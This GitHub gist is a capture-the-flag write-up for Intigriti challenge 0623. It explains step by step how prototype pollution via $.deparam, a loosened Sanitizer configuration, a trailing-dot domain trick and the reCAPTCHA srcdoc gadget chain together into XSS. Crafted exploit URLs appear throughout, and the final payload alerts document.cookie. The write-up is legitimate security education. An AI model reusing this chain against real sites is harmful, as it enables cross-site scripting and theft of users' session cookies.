Skip to content

Instantly share code, notes, and snippets.

@tehryanx
Last active November 15, 2025 21:19
Show Gist options
  • Select an option

  • Save tehryanx/418475e29dbcfbe43606fa7c8078dd46 to your computer and use it in GitHub Desktop.

Select an option

Save tehryanx/418475e29dbcfbe43606fa7c8078dd46 to your computer and use it in GitHub Desktop.
Intigriti challenge 0623

Challenge link | Prototype Pollution

I suspect there is more than one way to skin this cat, but this writeup will walk through the one that I landed on.


Skimming the source, the first thing that caught my eye was this call to deparam:

window.params = $.deparam(location.search.slice(1))

A quick test in js console verified my suspicion that this will convert the querystring into a javascript object, and that it can be used to pollute Object.prototype:

image

Now that we have a prototype pollution primitive, we need to explore the rest of the source for exploitation gadgets.


Recaptcha Gadget

By polluting the srcdoc property of the object prototype, recaptcha can be leveraged for xss. See here.

image

In order to get this working in the context of the target application we have a few requirements.

  • We need recaptcha running on the page
  • We need to supply a site-key by making the following div available in the DOM: <div class="g-recaptcha" data-sitekey="key"></div> (NOTE: Through testing I found that this will fire with an invalid key but not with a missing or empty key.)

We'll start with the site-key.


Site-Key Injection

In the default state, submitting the site-key div via the name parameter will reflect it to the page retaining the class, but stripping out the data-sitekey attribute.

image

This is because it's being written written to the DOM using setHTML with the default Sanitizer configuration which makes class available to all elements, but has no entry for data-sitekey.

modalContent.setHTML(name + " 👋", {sanitizer: new Sanitizer({})}); // no XSS

image

Note that the sanitizer config is loading an empty object in order to set up it's default configuration. We can use our pollution primitive to modify the config. We will need a configuration object that matches the following:

{
  allowUnknownMarkup: true,
  allowAttributes: {
    "class": ["*"],
    "data-sitekey": ["*"],
  }
}

This can be accomplished with the following url (click here to see it working):

https://challenge-0623.intigriti.io/challenge/index.html
  ?__proto__[allowUnknownMarkup]=true
  &__proto__[allowAttributes][data-sitekey][]=*
  &__proto__[allowAttributes][class][]=*
  &name=%3Cdiv%20data-sitekey%3Dxyz%20%20class%3Dg-recaptcha%3E%3C%2Fdiv%3E
  (&name=<div data-sitekey=xyz  class=g-recaptcha></div>)

image

Now that we have the site-key div available in the dom, we just need to get recaptcha working.


Getting recaptcha loaded

At the top of the script we have a pair of conditions that set up window.recaptcha.

if (document.domain === 'challenge-0623.intigriti.io') {
  window.recaptcha = false
}
if (document.domain === 'localhost') {
  window.recaptcha = true
}

We want window.recaptcha to be true, but we can't just use our prototype pollution gadget because an assignment like window.recaptcha = false will always override anything we attach to the prototype.

image

The key thing to note here is that the assignments live inside two sequential if statements, rather than an if-else construct. This means that there is a potential path through the application wherein neither of those conditions fire and the recaptcha property is never actually set. If we can get document.domain to be anything other than challenge-0623.intigriti.io or localhost we will be able to pollute the recaptcha property with true.

Luckily, browsers will allow you to supply the host part of a URL in it's fully qualified format. A fully qualified domain name technically ends with a . so while challenge-0623.intigriti.io is a valid domain name, it's fully qualified form is challenge-0623.intigriti.io.

Try this in your browser (tested in the most recent versions of Chrome and firefox): https://challenge-0623.intigriti.io./challenge/index.html

Loading the page this way gets us past both conditions, leaving window.recaptcha undefined. image


Putting it all together

Here are the steps we can chain to get this thing working

  1. Access the page using the fully qualified domain to prevent window.recaptcha from being set
  2. pollute window.recaptcha with true to get the recaptcha script loaded
  3. Pollute the sanitizer config to allow the data-sitekey attribute
  4. inject the recaptcha sitekey div so that it's available in the DOM
  5. pollute srcdoc on Object prototype with an xss payload, which recaptcha will evaluate.

Implementing all of these steps we get the following URL payload. (Click here to demo.)

https://challenge-0623.intigriti.io./challenge/index.html
    ?__proto__[recaptcha]=true
    &__proto__[srcdoc]=%3Cscript%3Ealert(document.cookie)%3C/script%3E
    &__proto__[allowUnknownMarkup]=true
    &__proto__[allowAttributes][data-sitekey][]=*
    &__proto__[allowAttributes][class][]=*&
    name=%3Cdiv%20data-sitekey%3Dxyz%20%20class%3Dg-recaptcha%3E%3C%2Fdiv%3E

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment